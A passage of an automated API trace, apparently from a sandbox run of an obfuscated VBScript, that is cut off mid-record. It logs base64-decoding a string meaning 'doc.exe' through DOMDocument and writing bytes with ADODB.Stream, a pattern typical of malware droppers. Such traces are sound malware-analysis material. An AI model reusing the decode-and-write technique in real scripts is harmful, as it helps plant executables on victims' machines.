This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x555430) returned 0x0 [0087.956] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="Text", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=24) returned 0x0 [0087.957] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.957] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0087.957] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x555430) returned 0x0 [0087.957] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=24, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x15, wReserved2=0x42c4, wReserved3=0x15, varVal1="ZG9jLmV4ZQ==", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x15, wReserved2=0x42c4, wReserved3=0x15, varVal1="ZG9jLmV4ZQ==", varVal2=0x83da080)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.957] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0087.957] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.958] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154828 | out: ppvObject=0x154828*=0x555430) returned 0x0 [0087.959] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="NodeTypedValue", grfdex=0x8, pid=0x154844 | out: pid=0x154844*=25) returned 0x0 [0087.959] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.959] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0087.959] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154830 | out: ppvObject=0x154830*=0x555430) returned 0x0 [0087.959] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=25, lcid=0x409, wFlags=0x3, pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718, pei=0x1547d8, pspCaller=0x846d2a8 | out: pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07b58*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b928b0*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), pei=0x1547d8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.959] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0087.959] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.960] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.960] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.960] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.960] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lfkfdiooie", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.960] GetCurrentThreadId () returned 0xd44 [0087.960] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.960] ??2@YAPAXI@Z () returned 0x11c2248 [0087.961] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 5 [0087.961] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6d03d0c, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0087.961] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.961] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vgct783hth", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.961] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vgct783hth", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.961] GetCurrentThreadId () returned 0xd44 [0087.961] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.962] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.962] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="piiing", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.962] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="piiing", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.962] GetCurrentThreadId () returned 0xd44 [0087.962] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.962] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.962] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.962] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ldiwuywfj", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.962] GetCurrentThreadId () returned 0xd44 [0087.963] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.963] malloc (_Size=0x204) returned 0x844c5d0 [0087.963] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.963] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.963] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.963] GetCurrentThreadId () returned 0xd44 [0087.963] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.963] ??2@YAPAXI@Z () returned 0x86bff10 [0087.964] malloc (_Size=0x804) returned 0x83fc220 [0087.964] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.964] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0087.964] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x154268 | out: lpclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0087.964] SysStringLen (param_1=0x0) returned 0x0 [0087.964] CoGetClassObject (in: rclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154258 | out: ppv=0x154258*=0x962b2d0) returned 0x0 [0087.964] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154254 | out: ppvObject=0x154254*=0x0) returned 0x80004002 [0087.964] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15425c | out: ppvObject=0x15425c*=0x962bad0) returned 0x0 [0087.964] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0087.965] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154220 | out: ppvObject=0x154220*=0x962bb00) returned 0x0 [0087.965] ??2@YAPAXI@Z () returned 0x1112b18 [0087.965] Stream:IObjectWithSite:SetSite (This=0x962bb00, pUnkSite=0x1112b18) returned 0x0 [0087.965] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154168 | out: ppvObject=0x154168*=0x0) returned 0x80004002 [0087.965] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154158 | out: ppvObject=0x154158*=0x0) returned 0x80004002 [0087.965] DOMDocument:IUnknown:AddRef (This=0x1112b18) returned 0x2 [0087.965] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1541b8 | out: ppvObject=0x1541b8*=0x0) returned 0x80004002 [0087.965] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541b4 | out: ppvObject=0x1541b4*=0x1112b18) returned 0x0 [0087.965] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0087.965] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154190 | out: ppvObject=0x154190*=0x83fd368) returned 0x0 [0087.965] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15418c | out: ppvObject=0x15418c*=0x83fd378) returned 0x0 [0087.965] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0087.965] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.965] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.965] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x2 [0087.966] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541bc | out: ppvObject=0x1541bc*=0x1112b18) returned 0x0 [0087.966] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0087.966] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154188 | out: ppvObject=0x154188*=0x83fd368) returned 0x0 [0087.966] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154184 | out: ppvObject=0x154184*=0x83fd378) returned 0x0 [0087.966] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0087.966] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.966] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.966] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x2 [0087.966] Stream:IUnknown:Release (This=0x962bb00) returned 0x1 [0087.966] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154210 | out: ppvObject=0x154210*=0x962bad0) returned 0x0 [0087.966] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x3 [0087.966] Stream:IUnknown:Release (This=0x962bad0) returned 0x2 [0087.966] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.966] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.966] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x0 [0087.967] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.967] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.968] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.968] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.968] GetCurrentThreadId () returned 0xd44 [0087.968] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.968] ??2@YAPAXI@Z () returned 0x86bff10 [0087.968] malloc (_Size=0x804) returned 0x83fc220 [0087.968] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.968] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.968] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.969] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=4) returned 0x0 [0087.969] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.969] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.969] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0087.969] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.969] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.970] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="svksovosrgh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.970] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="svksovosrgh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.970] GetCurrentThreadId () returned 0xd44 [0087.970] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.970] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.970] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.970] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.970] GetCurrentThreadId () returned 0xd44 [0087.971] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.971] ??2@YAPAXI@Z () returned 0x86bff10 [0087.971] malloc (_Size=0x804) returned 0x83fc220 [0087.971] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.971] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.971] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.971] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Open", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=10) returned 0x0 [0087.971] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.971] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.972] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962bad0) returned 0x0 [0087.972] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0087.972] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.972] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ivrejk", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.972] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ivrejk", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.972] GetCurrentThreadId () returned 0xd44 [0087.972] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.972] malloc (_Size=0x404) returned 0x86ea2e0 [0087.974] ??2@YAPAXI@Z () returned 0x86bff10 [0087.974] malloc (_Size=0x804) returned 0x83fc220 [0087.974] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.974] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.974] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0087.974] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.974] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="write", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=13) returned 0x0 [0087.974] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0087.974] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.974] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x847, 